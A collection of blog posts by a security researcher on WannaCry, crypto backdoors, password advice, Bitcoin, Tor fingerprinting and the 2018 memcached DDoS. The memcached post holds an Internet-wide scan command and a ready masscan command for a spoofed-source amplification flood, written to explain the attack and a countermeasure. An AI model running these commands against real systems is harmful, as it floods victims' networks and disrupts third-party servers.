All posts by Robert Graham

OMG The Stupid It Burns

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/04/omg-stupid-it-burns.html

This article, pointed out by @TheGrugq, is stupid enough that it’s worth rebutting.

The article starts with the question “Why did the lessons of Stuxnet, Wannacry, Heartbleed and Shamoon go unheeded?“. It then proceeds to ignore the lessons of those things.
Some of the actual lessons should be things like how Stuxnet crossed air gaps, how Wannacry spread through flat Windows networking, how Heartbleed comes from technical debt, and how Shamoon furthers state aims by causing damage.
But this article doesn’t cover the technical lessons. Instead, it thinks the lesson should be the moral lesson, that we should take these things more seriously. But that’s stupid. It’s the sort of lesson people teach you that know nothing about the topic. When you have nothing of value to contribute to a topic you can always take the moral high road and criticize everyone for being morally weak for not taking it more seriously. Obviously, since doctors haven’t cured cancer yet, it’s because they don’t take the problem seriously.
The article continues to ignore the lesson of these cyber attacks and instead regales us with a list of military lessons from WW I and WW II. This makes the same flaw that many in the military make, trying to understand cyber through analogies with the real world. It’s not that such lessons could have no value, it’s that this article contains a poor list of them. It seems to consist of a random list of events that appeal to the author rather than events that have bearing on cybersecurity.
Then, in case we don’t get the point, the article bullies us with hyperbole, cliches, buzzwords, bombastic language, famous quotes, and citations. It’s hard to see how most of them actually apply to the text. Rather, it seems like they are included simply because he really really likes them.
The article invests much effort in discussing the buzzword “OODA loop”. Most attacks in cyberspace don’t have one. Instead, attackers flail around, trying lots of random things, overcoming defense with brute-force rather than an understanding of what’s going on. That’s obviously the case with Wannacry: it was an accident, with the perpetrator experimenting with what would happen if they added the ETERNALBLUE exploit to their existing ransomware code. The consequence was beyond anybody’s ability to predict.
You might claim that this is just the first stage, that they’ll loop around, observe Wannacry’s effects, orient themselves, decide, then act upon what they learned. Nope. Wannacry burned the exploit. It’s essentially removed any vulnerable systems from the public Internet, thereby making it impossible to use what they learned. It’s still active a year later, with infected systems behind firewalls busily scanning the Internet so that if you put a new system online that’s vulnerable, it’ll be taken offline within a few hours, before any other evildoer can take advantage of it.
See what I’m doing here? Learning the actual lessons of things like Wannacry? The thing the above article fails to do??
The article has a humorous paragraph on “defense in depth”, misunderstanding the term. To be fair, it’s the cybersecurity industry’s fault: they adopted then redefined the term. That’s why there’s two separate articles on Wikipedia: one for the old military term (as used in this article) and one for the new cybersecurity term.
As used in the cybersecurity industry, “defense in depth” means having multiple layers of security. Many organizations put all their defensive efforts on the perimeter, and none inside a network. The idea of “defense in depth” is to put more defenses inside the network. For example, instead of just one firewall at the edge of the network, put firewalls inside the network to segment different subnetworks from each other, so that a ransomware infection in the customer support computers doesn’t spread to sales and marketing computers.
The article talks about exploiting WiFi chips to bypass the defense in depth measures like browser sandboxes. This is conflating different types of attacks. A WiFi attack is usually considered a local attack, from somebody next to you in bar, rather than a remote attack from a server in Russia. Moreover, far from disproving “defense in depth” such WiFi attacks highlight the need for it. Namely, phones need to be designed so that successful exploitation of other microprocessors (namely, the WiFi, Bluetooth, and cellular baseband chips) can’t directly compromise the host system. In other words, once exploited with “Broadpwn”, a hacker would need to extend the exploit chain with another vulnerability in the hosts Broadcom WiFi driver rather than immediately exploiting a DMA attack across PCIe. This suggests that if PCIe is used to interface to peripherals in the phone that an IOMMU be used, for “defense in depth”.
Cybersecurity is a young field. There are lots of useful things that outsider non-techies can teach us. Lessons from military history would be well-received.
But that’s not this story. Instead, this story is by an outsider telling us we don’t know what we are doing, that they do, and then proceeds to prove they don’t know what they are doing. Their argument is based on a moral suasion and bullying us with what appears on the surface to be intellectual rigor, but which is in fact devoid of anything smart.
My fear, here, is that I’m going to be in a meeting where somebody has read this pretentious garbage, explaining to me why “defense in depth” is wrong and how we need to OODA faster. I’d rather nip this in the bud, pointing out if you found anything interesting from that article, you are wrong.

Notes on setting up Raspberry Pi 3 as WiFi hotspot

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/04/notes-on-setting-up-raspberry-pi-3-as.html

I want to sniff the packets for IoT devices. There are a number of ways of doing this, but one straightforward mechanism is configuring a “Raspberry Pi 3 B” as a WiFi hotspot, then running tcpdump on it to record all the packets that pass through it. Google gives lots of results on how to do this, but they all demand that you have the precise hardware, WiFi hardware, and software that the authors do, so that’s a pain.

I got it working using the instructions here. There are a few additional notes, which is why I’m writing this blogpost, so I remember them.
https://www.raspberrypi.org/documentation/configuration/wireless/access-point.md

I’m using the RPi-3-B and not the RPi-3-B+, and the latest version of Raspbian at the time of this writing, “Raspbian Stretch Lite 2018-3-13”.

Some things didn’t work as described. The first is that it couldn’t find the package “hostapd”. That solution was to run “apt-get update” a second time.

The second problem was error message about the NAT not working when trying to set the masquerade rule. That’s because the ‘upgrade’ updates the kernel, making the running system out-of-date with the files on the disk. The solution to that is make sure you reboot after upgrading.

Thus, what you do at the start is:

apt-get update
apt-get upgrade
apt-get update
shutdown -r now

Then it’s just “apt-get install tcpdump” and start capturing on wlan0. This will get the non-monitor-mode Ethernet frames, which is what I want.

My letter urging Georgia governor to veto anti-hacking bill

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/04/my-letter-urging-georgia-governor-to.html

February 16, 2018

Office of the Governor
206 Washington Street
111 State Capitol
Atlanta, Georgia 30334

Re: SB 315

Dear Governor Deal:

I am writing to urge you to veto SB315, the “Unauthorized Computer Access” bill.

The cybersecurity community, of which Georgia is a leader, is nearly unanimous that SB315 will make cybersecurity worse. You’ve undoubtedly heard from many of us opposing this bill. It does not help in prosecuting foreign hackers who target Georgian computers, such as our elections systems. Instead, it prevents those who notice security flaws from pointing them out, thereby getting them fixed. This law violates the well-known Kirchhoff’s Principle, that instead of secrecy and obscurity, that security is achieved through transparency and openness.

That the bill contains this flaw is no accident. The justification for this bill comes from an incident where a security researcher noticed a Georgia state election system had made voter information public. This remained unfixed, months after the vulnerability was first disclosed, leaving the data exposed. Those in charge decided that it was better to prosecute those responsible for discovering the flaw rather than punish those who failed to secure Georgia voter information, hence this law.

Too many security experts oppose this bill for it to go forward. Signing this bill, one that is weak on cybersecurity by favoring political cover-up over the consensus of the cybersecurity community, will be part of your legacy. I urge you instead to veto this bill, commanding the legislature to write a better one, this time consulting experts, which due to Georgia’s thriving cybersecurity community, we do not lack.

Thank you for your attention.

Sincerely,
Robert Graham
(formerly) Chief Scientist, Internet Security Systems

Let’s stop talking about password strength

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/04/lets-stop-talking-about-password.html

Picture from EFF — CC-BY license

Near the top of most security recommendations is to use “strong passwords”. We need to stop doing this.

Yes, weak passwords can be a problem. If a website gets hacked, weak passwords are easier to crack. It’s not that this is wrong advice.

On the other hand, it’s not particularly good advice, either. It’s far down the list of important advice that people need to remember. “Weak passwords” are nowhere near the risk of “password reuse”. When your Facebook or email account gets hacked, it’s because you used the same password across many websites, not because you used a weak password.

Important websites, where the strength of your password matters, already take care of the problem. They use strong, salted hashes on the backend to protect the password. On the frontend, they force passwords to be a certain length and a certain complexity. Maybe the better advice is to not trust any website that doesn’t enforce stronger passwords (minimum of 8 characters consisting of both letters and non-letters).

To some extent, this “strong password” advice has become obsolete. A decade ago, websites had poor protection (MD5 hashes) and no enforcement of complexity, so it was up to the user to choose strong passwords. Now that important websites have changed their behavior, such as using bcrypt, there is less onus on the user.

But the real issue here is that “strong password” advice reflects the evil, authoritarian impulses of the infosec community. Instead of measuring insecurity in terms of costs vs. benefits, risks vs. rewards, we insist that it’s an issue of moral weakness. We pretend that flaws happen because people are greedy, lazy, and ignorant. We pretend that security is its own goal, a benefit we should achieve, rather than a cost we must endure.

We like giving moral advice because it’s easy: just be “stronger”. Discussing “password reuse” is more complicated, forcing us discuss password managers, writing down passwords on paper, that it’s okay to reuse passwords for crappy websites you don’t care about, and so on.

What I’m trying to say is that the moral weakness here is us. Rather then give pertinent advice we give lazy advice. We give the advice that victim shames them for being weak while pretending that we are strong.

So stop telling people to use strong passwords. It’s crass advice on your part and largely unhelpful for your audience, distracting them from the more important things.

Why the crypto-backdoor side is morally corrupt

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/04/why-crypto-backdoor-side-is-morally.html

Crypto-backdoors for law enforcement is a reasonable position, but the side that argues for it adds things that are either outright lies or morally corrupt. Every year, the amount of digital evidence law enforcement has to solve crimes increases, yet they outrageously lie, claiming they are “going dark”, losing access to evidence. A weirder claim is that  those who oppose crypto-backdoors are nonetheless ethically required to make them work. This is morally corrupt.

That’s the point of this Lawfare post, which claims:

What I am saying is that those arguing that we should reject third-party access out of hand haven’t carried their research burden. … There are two reasons why I think there hasn’t been enough research to establish the no-third-party access position. First, research in this area is “taboo” among security researchers. … the second reason why I believe more research needs to be done: the fact that prominent non-government experts are publicly willing to try to build secure third-party-access solutions should make the information-security community question the consensus view. 

This is nonsense. It’s like claiming we haven’t cured the common cold because researchers haven’t spent enough effort at it. When researchers claim they’ve tried 10,000 ways to make something work, it’s like insisting they haven’t done enough because they haven’t tried 10,001 times.
Certainly, half the community doesn’t want to make such things work. Any solution for the “legitimate” law enforcement of the United States means a solution for illegitimate states like China and Russia which would use the feature to oppress their own people. Even if I believe it’s a net benefit to the United States, I would never attempt such research because of China and Russia.
But computer scientists notoriously ignore ethics in pursuit of developing technology. That describes the other half of the crypto community who would gladly work on the problem. The reason they haven’t come up with solutions is because the problem is hard, really hard.
The second reason the above argument is wrong: it says we should believe a solution is possible because some outsiders are willing to try. But as Yoda says, do or do not, there is no try. Our opinions on the difficulty of the problem don’t change simply because people are trying. Our opinions change when people are succeeding. People are always trying the impossible, that’s not evidence it’s possible.
The paper cherry picks things, like Intel CPU features, to make it seem like they are making forward progress. No. Intel’s SGX extensions are there for other reasons. Sure, it’s a new development, and new developments may change our opinion on the feasibility of law enforcement backdoors. But nowhere in talking about this new development have they actually proposes a solution to the backdoor problem. New developments happen all the time, and the pro-backdoor side is going to seize upon each and every one to claim that this, finally, solves the backdoor problem, without showing exactly how it solves the problem.

The Lawfare post does make one good argument, that there is no such thing as “absolute security”, and thus the argument is stupid that “crypto-backdoors would be less than absolute security”. Too often in the cybersecurity community we reject solutions that don’t provide “absolute security” while failing to acknowledge that “absolute security” is impossible.
But that’s not really what’s going on here. Cryptographers aren’t certain we’ve achieved even “adequate security” with current crypto regimes like SSL/TLS/HTTPS. Every few years we find horrible flaws in the old versions and have to develop new versions. If you steal somebody’s iPhone today, it’s so secure you can’t decrypt anything on it. But then if you hold it for 5 years, somebody will eventually figure out a hole and then you’ll be able to decrypt it — a hole that won’t affect Apple’s newer phones.
The reason we think we can’t get crypto-backdoors correct is simply because we can’t get crypto completely correct. It’s implausible that we can get the backdoors working securely when we still have so much trouble getting encryption working correctly in the first place.
Thus, we aren’t talking about “insignificantly less security”, we are talking about going from “barely adequate security” to “inadequate security”. Negotiating keys between you and a website is hard enough without simultaneously having to juggle keys with law enforcement organizations.

And finally, even if cryptographers do everything correctly law enforcement themselves haven’t proven themselves reliable. The NSA exposed its exploits (like the infamous ETERNALBLUE), and OPM lost all its security clearance records. If they can’t keep those secrets, it’s unreasonable to believe they can hold onto backdoor secrets. One of the problems cryptographers are expected to solve is partly this, to make it work in a such way that makes it unlikely law enforcement will lose its secrets.

Summary

This argument by the pro-backdoor side, that we in the crypto-community should do more to solve backdoors, it simply wrong. We’ve spent a lot of effort at this already. Many continue to work on this problem — the reason you haven’t heard much from them is because they haven’t had much success. It’s like blaming doctors for not doing more to work on interrogation drugs (truth serums). Sure, a lot of doctors won’t work on this because it’s distasteful, but at the same time, there are many drug companies who would love to profit by them. The reason they don’t exist is not because they aren’t spending enough money researching them, it’s because there is no plausible solution in sight.
Crypto-backdoors designed for law-enforcement will significantly harm your security. This may change in the future, but that’s the state of crypto today. You should trust the crypto experts on this, not lawyers.

WannaCry after one year

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/03/wannacry-after-one-year.html

In the news, Boeing (an aircraft maker) has been “targeted by a WannaCry virus attack”. Phrased this way, it’s implausible. There are no new attacks targeting people with WannaCry. There is either no WannaCry, or it’s simply a continuation of the attack from a year ago.


It’s possible what happened is that an anti-virus product called a new virus “WannaCry”. Virus families are often related, and sometimes a distant relative gets called the same thing. I know this watching the way various anti-virus products label my own software, which isn’t a virus, but which virus writers often include with their own stuff. The Lazarus group, which is believed to be responsible for WannaCry, have whole virus families like this. Thus, just because an AV product claims you are infected with WannaCry doesn’t mean it’s the same thing that everyone else is calling WannaCry.

Famously, WannaCry was the first virus/ransomware/worm that used the NSA ETERNALBLUE exploit. Other viruses have since added the exploit, and of course, hackers use it when attacking systems. It may be that a network intrusion detection system detected ETERNALBLUE, which people then assumed was due to WannaCry. It may actually have been an nPetya infection instead (nPetya was the second major virus/worm/ransomware to use the exploit).

Or it could be the real WannaCry, but it’s probably not a new “attack” that “targets” Boeing. Instead, it’s likely a continuation from WannaCry’s first appearance. WannaCry is a worm, which means it spreads automatically after it was launched, for years, without anybody in control. Infected machines still exist, unnoticed by their owners, attacking random machines on the Internet. If you plug in an unpatched computer onto the raw Internet, without the benefit of a firewall, it’ll get infected within an hour.

However, the Boeing manufacturing systems that were infected were not on the Internet, so what happened? The narrative from the news stories imply some nefarious hacker activity that “targeted” Boeing, but that’s unlikely.

We have now have over 15 years of experience with network worms getting into strange places disconnected and even “air gapped” from the Internet. The most common reason is laptops. Somebody takes their laptop to some place like an airport WiFi network, and gets infected. They put their laptop to sleep, then wake it again when they reach their destination, and plug it into the manufacturing network. At this point, the virus spreads and infects everything. This is especially the case with maintenance/support engineers, who often have specialized software they use to control manufacturing machines, for which they have a reason to connect to the local network even if it doesn’t have useful access to the Internet. A single engineer may act as a sort of Typhoid Mary, going from customer to customer, infecting each in turn whenever they open their laptop.

Another cause for infection is virtual machines. A common practice is to take “snapshots” of live machines and save them to backups. Should the virtual machine crash, instead of rebooting it, it’s simply restored from the backed up running image. If that backup image is infected, then bringing it out of sleep will allow the worm to start spreading.

Jake Williams claims he’s seen three other manufacturing networks infected with WannaCry. Why does manufacturing seem more susceptible? The reason appears to be the “killswitch” that stops WannaCry from running elsewhere. The killswitch uses a DNS lookup, stopping itself if it can resolve a certain domain. Manufacturing networks are largely disconnected from the Internet enough that such DNS lookups don’t work, so the domain can’t be found, so the killswitch doesn’t work. Thus, manufacturing systems are no more likely to get infected, but the lack of killswitch means the virus will continue to run, attacking more systems instead of immediately killing itself.

One solution to this would be to setup sinkhole DNS servers on the network that resolve all unknown DNS queries to a single server that logs all requests. This is trivially setup with most DNS servers. The logs will quickly identify problems on the network, as well as any hacker or virus activity. The side effect is that it would make this killswitch kill WannaCry. WannaCry isn’t sufficient reason to setup sinkhole servers, of course, but it’s something I’ve found generally useful in the past.

Conclusion

Something obviously happened to the Boeing plant, but the narrative is all wrong. Words like “targeted attack” imply things that likely didn’t happen. Facts are so loose in cybersecurity that it may not have even been WannaCry.

The real story is that the original WannaCry is still out there, still trying to spread. Simply put a computer on the raw Internet (without a firewall) and you’ll get attacked. That, somehow, isn’t news. Instead, what’s news is whenever that continued infection hits somewhere famous, like Boeing, even though (as Boeing claims) it had no important effect.

What John Oliver gets wrong about Bitcoin

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/what-john-oliver-gets-wrong-about.html

John Oliver covered bitcoin/cryptocurrencies last night. I thought I’d describe a bunch of things he gets wrong.

How Bitcoin works

Nowhere in the show does it describe what Bitcoin is and how it works.
Discussions should always start with Satoshi Nakamoto’s original paper. The thing Satoshi points out is that there is an important cost to normal transactions, namely, the entire legal system designed to protect you against fraud, such as the way you can reverse the transactions on your credit card if it gets stolen. The point of Bitcoin is that there is no way to reverse a charge. A transaction is done via cryptography: to transfer money to me, you decrypt it with your secret key and encrypt it with mine, handing ownership over to me with no third party involved that can reverse the transaction, and essentially no overhead.
All the rest of the stuff, like the decentralized blockchain and mining, is all about making that work.
Bitcoin crazies forget about the original genesis of Bitcoin. For example, they talk about adding features to stop fraud, reversing transactions, and having a central authority that manages that. This misses the point, because the existing electronic banking system already does that, and does a better job at it than cryptocurrencies ever can. If you want to mock cryptocurrencies, talk about the “DAO”, which did exactly that — and collapsed in a big fraudulent scheme where insiders made money and outsiders didn’t.
Sticking to Satoshi’s original ideas are a lot better than trying to repeat how the crazy fringe activists define Bitcoin.

How does any money have value?

Oliver’s answer is currencies have value because people agree that they have value, like how they agree a Beanie Baby is worth $15,000.
This is wrong. A better way of asking the question why the value of money changes. The dollar has been losing roughly 2% of its value each year for decades. This is called “inflation”, as the dollar loses value, it takes more dollars to buy things, which means the price of things (in dollars) goes up, and employers have to pay us more dollars so that we can buy the same amount of things.
The reason the value of the dollar changes is largely because the Federal Reserve manages the supply of dollars, using the same law of Supply and Demand. As you know, if a supply decreases (like oil), then the price goes up, or if the supply of something increases, the price goes down. The Fed manages money the same way: when prices rise (the dollar is worth less), the Fed reduces the supply of dollars, causing it to be worth more. Conversely, if prices fall (or don’t rise fast enough), the Fed increases supply, so that the dollar is worth less.
The reason money follows the law of Supply and Demand is because people use money, they consume it like they do other goods and services, like gasoline, tax preparation, food, dance lessons, and so forth. It’s not like a fine art painting, a stamp collection or a Beanie Baby — money is a product. It’s just that people have a hard time thinking of it as a consumer product since, in their experience, money is what they use to buy consumer products. But it’s a symmetric operation: when you buy gasoline with dollars, you are actually selling dollars in exchange for gasoline. That you call one side in this transaction “money” and the other “goods” is purely arbitrary, you call gasoline money and dollars the good that is being bought and sold for gasoline.
The reason dollars is a product is because trying to use gasoline as money is a pain in the neck. Storing it and exchanging it is difficult. Goods like this do become money, such as famously how prisons often use cigarettes as a medium of exchange, even for non-smokers, but it has to be a good that is fungible, storable, and easily exchanged. Dollars are the most fungible, the most storable, and the easiest exchanged, so has the most value as “money”. Sure, the mechanic can fix the farmers car for three chickens instead, but most of the time, both parties in the transaction would rather exchange the same value using dollars than chickens.
So the value of dollars is not like the value of Beanie Babies, which people might buy for $15,000, which changes purely on the whims of investors. Instead, a dollar is like gasoline, which obey the law of Supply and Demand.
This brings us back to the question of where Bitcoin gets its value. While Bitcoin is indeed used like dollars to buy things, that’s only a tiny use of the currency, so therefore it’s value isn’t determined by Supply and Demand. Instead, the value of Bitcoin is a lot like Beanie Babies, obeying the laws of investments. So in this respect, Oliver is right about where the value of Bitcoin comes, but wrong about where the value of dollars comes from.

Why Bitcoin conference didn’t take Bitcoin

John Oliver points out the irony of a Bitcoin conference that stopped accepting payments in Bitcoin for tickets.
The biggest reason for this is because Bitcoin has become so popular that transaction fees have gone up. Instead of being proof of failure, it’s proof of popularity. What John Oliver is saying is the old joke that nobody goes to that popular restaurant anymore because it’s too crowded and you can’t get a reservation.
Moreover, the point of Bitcoin is not to replace everyday currencies for everyday transactions. If you read Satoshi Nakamoto’s whitepaper, it’s only goal is to replace certain types of transactions, like purely electronic transactions where electronic goods and services are being exchanged. Where real-life goods/services are being exchanged, existing currencies work just fine. It’s only the crazy activists who claim Bitcoin will eventually replace real world currencies — the saner people see it co-existing with real-world currencies, each with a different value to consumers.

Turning a McNugget back into a chicken

John Oliver uses the metaphor of turning a that while you can process a chicken into McNuggets, you can’t reverse the process. It’s a funny metaphor.
But it’s not clear what the heck this metaphor is trying explain. That’s not a metaphor for the blockchain, but a metaphor for a “cryptographic hash”, where each block is a chicken, and the McNugget is the signature for the block (well, the block plus the signature of the last block, forming a chain).
Even then that metaphor as problems. The McNugget produced from each chicken must be unique to that chicken, for the metaphor to accurately describe a cryptographic hash. You can therefore identify the original chicken simply by looking at the McNugget. A slight change in the original chicken, like losing a feather, results in a completely different McNugget. Thus, nuggets can be used to tell if the original chicken has changed.
This then leads to the key property of the blockchain, it is unalterable. You can’t go back and change any of the blocks of data, because the fingerprints, the nuggets, will also change, and break the nugget chain.
The point is that while John Oliver is laughing at a silly metaphor to explain the blockchain becuase he totally misses the point of the metaphor.
Oliver rightly says “don’t worry if you don’t understand it — most people don’t”, but that includes the big companies that John Oliver name. Some companies do get it, and are producing reasonable things (like JP Morgan, by all accounts), but some don’t. IBM and other big consultancies are charging companies millions of dollars to consult with them on block chain products where nobody involved, the customer or the consultancy, actually understand any of it. That doesn’t stop them from happily charging customers on one side and happily spending money on the other.
Thus, rather than Oliver explaining the problem, he’s just being part of the problem. His explanation of blockchain left you dumber than before.

ICO’s

John Oliver mocks the Brave ICO ($35 million in 30 seconds), claiming it’s all driven by YouTube personalities and people who aren’t looking at the fundamentals.
And while this is true, most ICOs are bunk, the  Brave ICO actually had a business model behind it. Brave is a Chrome-like web-browser whose distinguishing feature is that it protects your privacy from advertisers. If you don’t use Brave or a browser with an ad block extension, you have no idea how bad things are for you. However, this presents a problem for websites that fund themselves via advertisements, which is most of them, because visitors no longer see ads. Brave has a fix for this. Most people wouldn’t mind supporting the websites they visit often, like the New York Times. That’s where the Brave ICO “token” comes in: it’s not simply stock in Brave, but a token for micropayments to websites. Users buy tokens, then use them for micropayments to websites like New York Times. The New York Times then sells the tokens back to the market for dollars. The buying and selling of tokens happens without a centralized middleman.
This is still all speculative, of course, and it remains to be seen how successful Brave will be, but it’s a serious effort. It has well respected VC behind the company, a well-respected founder (despite the fact he invented JavaScript), and well-respected employees. It’s not a scam, it’s a legitimate venture.

How to you make money from Bitcoin?

The last part of the show is dedicated to describing all the scam out there, advising people to be careful, and to be “responsible”. This is garbage.
It’s like my simple two step process to making lots of money via Bitcoin: (1) buy when the price is low, and (2) sell when the price is high. My advice is correct, of course, but useless. Same as “be careful” and “invest responsibly”.
The truth about investing in cryptocurrencies is “don’t”. The only responsible way to invest is to buy low-overhead market index funds and hold for retirement. No, you won’t get super rich doing this, but anything other than this is irresponsible gambling.
It’s a hard lesson to learn, because everyone is telling you the opposite. The entire channel CNBC is devoted to day traders, who buy and sell stocks at a high rate based on the same principle as a ponzi scheme, basing their judgment not on the fundamentals (like long term dividends) but animal spirits of whatever stock is hot or cold at the moment. This is the same reason people buy or sell Bitcoin, not because they can describe the fundamental value, but because they believe in a bigger fool down the road who will buy it for even more.
For things like Bitcoin, the trick to making money is to have bought it over 7 years ago when it was essentially worthless, except to nerds who were into that sort of thing. It’s the same tick to making a lot of money in Magic: The Gathering trading cards, which nerds bought decades ago which are worth a ton of money now. Or, to have bought Apple stock back in 2009 when the iPhone was new, when nerds could understand the potential of real Internet access and apps that Wall Street could not.
That was my strategy: be a nerd, who gets into things. I’ve made a good amount of money on all these things because as a nerd, I was into Magic: The Gathering, Bitcoin, and the iPhone before anybody else was, and bought in at the point where these things were essentially valueless.
At this point with cryptocurrencies, with the non-nerds now flooding the market, there little chance of making it rich. The lottery is probably a better bet. Instead, if you want to make money, become a nerd, obsess about a thing, understand a thing when its new, and cash out once the rest of the market figures it out. That might be Brave, for example, but buy into it because you’ve spent the last year studying the browser advertisement ecosystem, the market’s willingness to pay for content, and how their Basic Attention Token delivers value to websites — not because you want in on the ICO craze.

Conclusion

John Oliver spends 25 minutes explaining Bitcoin, Cryptocurrencies, and the Blockchain to you. Sure, it’s funny, but it leaves you worse off than when it started. It admits they “simplify” the explanation, but they simplified it so much to the point where they removed all useful information.

Some notes on memcached DDoS

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/some-notes-on-memcached-ddos.html

I thought I’d write up some notes on the memcached DDoS. Specifically, I describe how many I found scanning the Internet with masscan, and how to use masscan as a killswitch to neuter the worst of the attacks.

Test your servers

I added code to my port scanner for this, then scanned the Internet:
masscan 0.0.0.0/0 -pU:11211 –banners | grep memcached
This example scans the entire Internet (/0). Replaced 0.0.0.0/0 with your address range (or ranges).
This produces output that looks like this:
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 89.110.149.218: [memcached] uptime=3935192 time=1520485363 version=1.4.17
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 84.200.45.2: [memcached] uptime=399858 time=1520485362 version=1.4.20
Banner on port 11211/udp on 5.1.66.2: [memcached] uptime=29429482 time=1520485363 version=1.4.20
Banner on port 11211/udp on 103.248.253.112: [memcached] uptime=2879363 time=1520485366 version=1.2.6
Banner on port 11211/udp on 193.240.236.171: [memcached] uptime=42083736 time=1520485365 version=1.4.13
The “banners” check filters out those with valid memcached responses, so you don’t get other stuff that isn’t memcached. To filter this output further, use  the ‘cut’ to grab just column 6:
… | cut -d ‘ ‘ -f 6 | cut -d: -f1
You often get multiple responses to just one query, so you’ll want to sort/uniq the list:
… | sort | uniq

My results from an Internet wide scan

I got 15181 results (or roughly 15,000).
People are using Shodan to find a list of memcached servers. They might be getting a lot results back that response to TCP instead of UDP. Only UDP can be used for the attack.

Other researchers scanned the Internet a few days ago and found ~31k. I don’t know if this means people have been removing these from the Internet.

Masscan as exploit script

BTW, you can not only use masscan to find amplifiers, you can also use it to carry out the DDoS. Simply import the list of amplifier IP addresses, then spoof the source address as that of the target. All the responses will go back to the source address.
masscan -iL amplifiers.txt -pU:11211 –spoof-ip –rate 100000
I point this out to show how there’s no magic in exploiting this. Numerous exploit scripts have been released, because it’s so easy.

Why memcached servers are vulnerable

Like many servers, memcached listens to local IP address 127.0.0.1 for local administration. By listening only on the local IP address, remote people cannot talk to the server.
However, this process is often buggy, and you end up listening on either 0.0.0.0 (all interfaces) or on one of the external interfaces. There’s a common Linux network stack issue where this keeps happening, like trying to get VMs connected to the network. I forget the exact details, but the point is that lots of servers that intend to listen only on 127.0.0.1 end up listening on external interfaces instead. It’s not a good security barrier.
Thus, there are lots of memcached servers listening on their control port (11211) on external interfaces.

How the protocol works

The protocol is documented here. It’s pretty straightforward.
The easiest amplification attacks is to send the “stats” command. This is 15 byte UDP packet that causes the server to send back either a large response full of useful statistics about the server.  You often see around 10 kilobytes of response across several packets.
A harder, but more effect attack uses a two step process. You first use the “add” or “set” commands to put chunks of data into the server, then send a “get” command to retrieve it. You can easily put 100-megabytes of data into the server this way, and causes a retrieval with a single “get” command.
That’s why this has been the largest amplification ever, because a single 100-byte packet can in theory cause a 100-megabytes response.
Doing the math, the 1.3 terabit/second DDoS divided across the 15,000 servers I found vulnerable on the Internet leads to an average of 100-megabits/second per server. This is fairly minor, and is indeed something even small servers (like Raspberry Pis) can generate.

Neutering the attack (“kill switch”)

If they are using the more powerful attack against you, you can neuter it: you can send a “flush_all” command back at the servers who are flooding you, causing them to drop all those large chunks of data from the cache.
I’m going to describe how I would do this.
First, get a list of attackers, meaning, the amplifiers that are flooding you. The way to do this is grab a packet sniffer and capture all packets with a source port of 11211. Here is an example using tcpdump.
tcpdump -i -w attackers.pcap src port 11221
Let that run for a while, then hit [ctrl-c] to stop, then extract the list of IP addresses in the capture file. The way I do this is with tshark (comes with Wireshark):
tshark -r attackers.pcap -Tfields -eip.src | sort | uniq > amplifiers.txt
Now, craft a flush_all payload. There are many ways of doing this. For example, if you are using nmap or masscan, you can add the bytes to the nmap-payloads.txt file. Also, masscan can read this directly from a packet capture file. To do this, first craft a packet, such as with the following command line foo:
echo -en “\x00\x00\x00\x00\x00\x01\x00\x00flush_all\r\n” | nc -q1 -u 11211
Capture this packet using tcpdump or something, and save into a file “flush_all.pcap”. If you want to skip this step, I’ve already done this for you, go grab the file from GitHub:
Now that we have our list of attackers (amplifiers.txt) and a payload to blast at them (flush_all.pcap), use masscan to send it:
masscan -iL amplifiers.txt -pU:112211 –pcap-payload flush_all.pcap

Reportedly, “shutdown” may also work to completely shutdown the amplifiers. I’ll leave that as an exercise for the reader, since of course you’ll be adversely affecting the servers.

Some notes

Here are some good reading on this attack:

AskRob: Does Tor let government peek at vuln info?

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/askrob-does-tor-let-government-peek-at.html

On Twitter, somebody asked this question:

The question is about a blog post that claims Tor privately tips off the government about vulnerabilities, using as proof a “vulnerability” from October 2007 that wasn’t made public until 2011.
The tl;dr is that it’s bunk. There was no vulnerability, it was a feature request. The details were already public. There was no spy agency involved, but the agency that does Voice of America, and which tries to protect activists under foreign repressive regimes.

Discussion

The issue is that Tor traffic looks like Tor traffic, making it easy to block/censor, or worse, identify users. Over the years, Tor has added features to make it look more and more like normal traffic, like the encrypted traffic used by Facebook, Google, and Apple. Tors improves this bit-by-bit over time, but short of actually piggybacking on website traffic, it will always leave some telltale signature.
An example showing how we can distinguish Tor traffic is the packet below, from the latest version of the Tor server:
Had this been Google or Facebook, the names would be something like “www.google.com” or “facebook.com”. Or, had this been a normal “self-signed” certificate, the names would still be recognizable. But Tor creates randomized names, with letters and numbers, making it distinctive. It’s hard to automate detection of this, because it’s only probably Tor (other self-signed certificates look like this, too), which means you’ll have occasional “false-positives”. But still, if you compare this to the pattern of traffic, you can reliably detect that Tor is happening on your network.
This has always been a known issue, since the earliest days. Google the search term “detect tor traffic”, and set your advanced search dates to before 2007, and you’ll see lots of discussion about this, such as this post for writing intrusion-detection signatures for Tor.
Among the things you’ll find is this presentation from 2006 where its creator (Roger Dingledine) talks about how Tor can be identified on the network with its unique network fingerprint. For a “vulnerability” they supposedly kept private until 2011, they were awfully darn public about it.
The above blogpost claims Tor kept this vulnerability secret until 2011 by citing this message. It’s because Levine doesn’t understand the terminology and is just blindly searching for an exact match for “TLS normalization”. Here’s an earlier proposed change for the long term goal of to “make our connection handshake look closer to a regular HTTPS [TLS] connection”, from February 2007. Here is another proposal from October 2007 on changing TLS certificates, from days after the email discussion (after they shipped the feature, presumably).
What we see here is here is a known problem from the very beginning of the project, a long term effort to fix that problem, and a slow dribble of features added over time to preserve backwards compatibility.
Now let’s talk about the original train of emails cited in the blogpost. It’s hard to see the full context here, but it sounds like BBG made a feature request to make Tor look even more like normal TLS, which is hinted with the phrase “make our funders happy”. Of course the people giving Tor money are going to ask for improvements, and of course Tor would in turn discuss those improvements with the donor before implementing them. It’s common in project management: somebody sends you a feature request, you then send the proposal back to them to verify what you are building is what they asked for.
